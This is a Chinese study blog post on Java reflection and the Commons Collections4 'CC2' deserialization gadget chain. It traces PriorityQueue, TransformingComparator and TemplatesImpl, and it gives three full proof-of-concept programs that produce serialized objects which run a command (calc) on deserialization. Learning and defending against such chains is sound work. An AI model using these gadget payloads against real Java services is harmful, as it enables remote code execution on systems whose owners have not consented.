Java CommonsCollections2链学习
Java反射机制
反射机制相关的重要的类
java.lang.Class:代表整个字节码。代表一个类型,代表整个类。
java.lang.reflect.Method:代表字节码中的方法字节码。代表类中的方法。
java.lang.reflect.Constructor:代表字节码中的构造方法字节码。代表类中的构造方法。
java.lang.reflect.Field:代表字节码中的属性字节码。代表类中的成员变量(静态变量+实例变量)。
注:必须先获得Class才能获取Method、Constructor、Field。
获取class的三种方式
要操作一个类的字节码,需要首先获取到这个类的字节码,怎么获取java.lang.Class实例?
class.forName()
对象.class
任何类型.class
注:以上三种方式返回值都是Class类型。
通过反射实例化对象
对象.newInstance
注:newInstance()方法内部实际上调用了无参数构造方法,必须保证无参构造存在才可以。
否则会抛出java.lang.InstantiationException异常。
反射Filed【反射/反编译一个类的属性】
Class类方法
public T newInstance():创建对象
public String getName():返回完整类名带包名
public String getSimpleName():返回类名
public Field[] getFields():返回类中public修饰的属性
public Field[] getDeclaredFields():返回类中所有的属性
public Field getDeclaredField(String name):根据属性名name获取指定的属性
public native int getModifiers():获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号【一般配合Modifier类的toString(int x)方法使用】
public Method[] getDeclaredMethods() 返回类中所有的实例方法
public Method getDeclaredMethod(String name, Class>… parameterTypes):根据方法名name和方法形参获取指定方法
public Constructor>[] getDeclaredConstructors():返回类中所有的构造方法
public Constructor getDeclaredConstructor(Class>… parameterTypes):根据方法形参获取指定的构造方法
---- ----
public native Class super T> getSuperclass():返回调用类的父类
public Class>[] getInterfaces():返回调用类实现的接口集合
Field类方法
public String getName():返回属性名
public int getModifiers():获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号【一般配合Modifier类的toString(int x)方法使用】
public Class> getType():以Class类型,返回属性类型【一般配合Class类的getSimpleName()方法使用】
public void set(Object obj, Object value):设置属性值
public Object get(Object obj):读取属性值
反编译一个类的属性Field
//通过反射机制,反编译一个类的属性Field(了解一下)
class ReflectTest06{
public static void main(String[] args) throws ClassNotFoundException {
StringBuilder s = new StringBuilder();
Class studentClass = Class.forName("javase.reflectBean.Student");
s.append(Modifier.toString(studentClass.getModifiers()) + " class " + studentClass.getSimpleName() + " {\n");// Class类的getName方法
//获取所有的属性
Field[] fields = studentClass.getDeclaredFields();
for (Field f : fields){
s.append("\t");
// 获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号
// 用Modifier类的toString转换成字符串
s.append(Modifier.toString(f.getModifiers()));
if (f.getModifiers() != 0) s.append(" ");
s.append(f.getType().getSimpleName());// 获取属性的类型
s.append(" ");
s.append(f.getName());// 获取属性的名字
s.append(";\n");
}
s.append("}");
System.out.println(s);
}
}
通过反射机制访问一个java对象的属性
/*
必须掌握:
怎么通过反射机制访问一个java对象的属性?
给属性赋值set
获取属性的值get
*/
class ReflectTest07{
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
//不使用反射机制给属性赋值
Student student = new Student();
/**给属性赋值三要素:给s对象的no属性赋值1111
* 要素1:对象s
* 要素2:no属性
* 要素3:1111
*/
student.no = 1111;
/**读属性值两个要素:获取s对象的no属性的值。
* 要素1:对象s
* 要素2:no属性
*/
System.out.println(student.no);
//使用反射机制给属性赋值
Class studentClass = Class.forName("javase.reflectBean.Student");
Object obj = studentClass.newInstance();// obj就是Student对象。(底层调用无参数构造方法)
// 获取no属性(根据属性的名称来获取Field)
Field noField = studentClass.getDeclaredField("no");
// 给obj对象(Student对象)的no属性赋值
/*
虽然使用了反射机制,但是三要素还是缺一不可:
要素1:obj对象
要素2:no属性
要素3:22222值
注意:反射机制让代码复杂了,但是为了一个“灵活”,这也是值得的。
*/
noField.set(obj, 22222);
// 读取属性的值
// 两个要素:获取obj对象的no属性的值。
System.out.println(noField.get(obj));
}
set不可以访问私有属性
需要打破封装
public void setAccessible(boolean flag):默认false,设置为true为打破封装
// 可以访问私有的属性吗?
Field nameField = studentClass.getDeclaredField("name");
// 打破封装(反射机制的缺点:打破封装,可能会给不法分子留下机会!!!)
// 这样设置完之后,在外部也是可以访问private的。
nameField.setAccessible(true);
// 给name属性赋值
nameField.set(obj, "xiaowu");
// 获取name属性的值
System.out.println(nameField.get(obj));
小结
获取类的方法: forName
获取函数的方法: getMethod
实例化类对象的方法: newInstance
执行函数的方法: invoke
私有属性需要特殊的设置。
CommonsCollections2链
前言
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
所以cc2版本就没用使用AnnotationInvocationHandler
而时使用了TemplatesImpI+PriorityQueue
来构造利用链的。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个内置类, 这个类的骚操作就是,在调用他的newTransformer
或者getOutputProperties
(这个方法内部会调用newTransformer
) 时,会动态从字节码中重建一个类。
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码。
环境
jdk没有版本限制,commons.collections4。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
用于写字节码的javaassist。
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
正文
官方的调用链:
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
ChainedTransformer之后就和commons collections1一样了。
PriorityQueue
PriorityQueue,它的出队顺序与元素的优先级有关,对PriorityQueue调用remove()或poll()方法,返回的总是优先级最高的元素。
要使用PriorityQueue,我们就必须给每个元素定义“优先级”。
import java.util.PriorityQueue;
import java.util.Queue;
public class cc2 {
public static void main(String[] args) {
Queue<String> queue = new PriorityQueue<>();
queue.offer("banana");
queue.offer("pear");
queue.offer("apple");
System.out.println(queue.poll());
System.out.println(queue.poll());
System.out.println(queue.poll());
System.out.println(queue.poll());
}
}
以banana
、pear
、apple
的顺序输入,但是输出却是apple
、banana
、pear
null
,这是因为从字符串的排序看,a>b>p。
因此,放入PriorityQueue的元素,必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。
构造Comparable自定义排序算法如下
import java.util.PriorityQueue;
import java.util.Queue;
import java.util.Comparator;
public class cc2 {
static class UserComparator implements Comparator<User> {
public int compare(User u1, User u2) {
if(u1.number.charAt(0)==u2.number.charAt(0)) {
return u1.number.compareTo(u2.number);
}
if(u1.number.charAt(0)=='V') {
return -1;
}else{
return 1;
}
}
}
static class User {
public final String name;
public final String number;
public User(String name, String number) {
this.name=name;
this.number=number;
}
public String toString() {
return name+"/"+number;
}
}
public static void main(String[] args) {
Queue<User> queue = new PriorityQueue<>(new UserComparator());
queue.offer(new User("banana", "V1"));
queue.offer(new User("pear", "V2"));
queue.offer(new User("apple", "A1"));
System.out.println(queue.poll());
System.out.println(queue.poll());
System.out.println(queue.poll());
System.out.println(queue.poll());
}
}
我们需要对PriorityQueue
利用点进行分析,直接进入它的readObject
方法,可以看到最后调用heapify
方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
跟进heapify。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
跟进siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
在comparator
不为空时调用siftDownUsingComparator
,在其为空时,调用siftDownComparable
。
看siftDownUsingComparator
。
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
小补充一下知识点
<< 左移运算符,size << 1,相当于size乘以2
>> 右移运算符,size >> 1,相当于size除以2
>>> 无符号右移,忽略符号位,空位都以0补齐
siftDownUsingComparator
会调 comparator
的compare()
方法来进行优先级的比较和排序。这样,反序列化之后的优先级队列,也拥有了顺序。
TransformingComparator
根据名字我们可以将这个理解为和TransformMap应该具有相同功能,上面对PriorityQueue的学习知道它会根据comparator进行一个优先级排序,那么这个就是来创建comparator的,我们可以将comparator中加入恶意代码进行命令执行即可。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
public int hashCode() {
int total = 17;
int total = total * 37 + (this.decorated == null ? 0 : this.decorated.hashCode());
total = total * 37 + (this.transformer == null ? 0 : this.transformer.hashCode());
return total;
}
public boolean equals(Object object) {
if (this == object) {
return true;
} else if (null == object) {
return false;
} else if (!object.getClass().equals(this.getClass())) {
return false;
} else {
TransformingComparator<?, ?> comp = (TransformingComparator)object;
return null == this.decorated ? null == comp.decorated : (this.decorated.equals(comp.decorated) && null == this.transformer ? null == comp.transformer : this.transformer.equals(comp.transformer));
}
}
}
可以看一下他的定义,在compare函数里会执行transform方法,那么就可以执行恶意代码了。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
poc分析
ChainedTransformer
类似commons colletions1,直接让Transformer为ChainedTransformer就ok。
找到的这种方法的payload。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Class name = Class.forName("java.util.PriorityQueue");
Field field = name.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
}
templatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()会实例化一个自定义的类。其中,这一个类是TemplatesImpl的一个属性(字节码形式)
我们不是可以执行任意方法了吗,构造一个恶意类的字节码让他实例化就行了。
SE写的博客中就是这种方法。
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
完整poc分析
直接贴了桥的,桥将两种方法的调用都写了,并且将具体分析写入了注释当中,可以跟着学习一下。
package learn;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class CommonsCollections2 extends tools.SerAndDe{
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
public static void main(String[] args) throws Exception{
// poc1();
poc2();
}
static void poc1() throws Exception{
ChainedTransformer chain=getChainedTransformer();
TransformingComparator comparator=new TransformingComparator(chain);
PriorityQueue queue=new PriorityQueue();
//debug发现size>=2才行
queue.add(1);
queue.add(2);
//comparator直接构造器设置的话,add的时候会类型错误。所以反射设置
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
deserialize(serialize(queue));
}
static void poc2() throws Exception{
//制作父类为AbstractTranslet的RCE类的字节码bytes
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath("AbstractTranslet");//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet.class.getName())); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
//制作templatesImpl
Object templatesImpl=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
//制作transformer
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//接下来只需调用transformer.transform(templatesImpl)
// transformer.transform()
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞templatesImpl
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templatesImpl,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
byte[] b=serialize(queue);
deserialize(b);
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
总结
java cc2链学习的博客拖了挺久的,七月多就开始写了,一直写到9月2日,中间学车加上出去旅游浪费了一段时间,后面会加快进度,尽快先将cc链部分赶紧看完,先熟悉一遍,然后在此基础上复现一些java类型题目,反过头再把cc链详细学习,cc链学习着实让人头大。
参考链接:
https://www.cnblogs.com/kingbridge/articles/16141397.html
https://www.cnblogs.com/0x7e/p/14400933.html
https://blog.csdn.net/weixin_43818995/article/details/122184245
https://blog.csdn.net/qq_44769520/article/details/124849524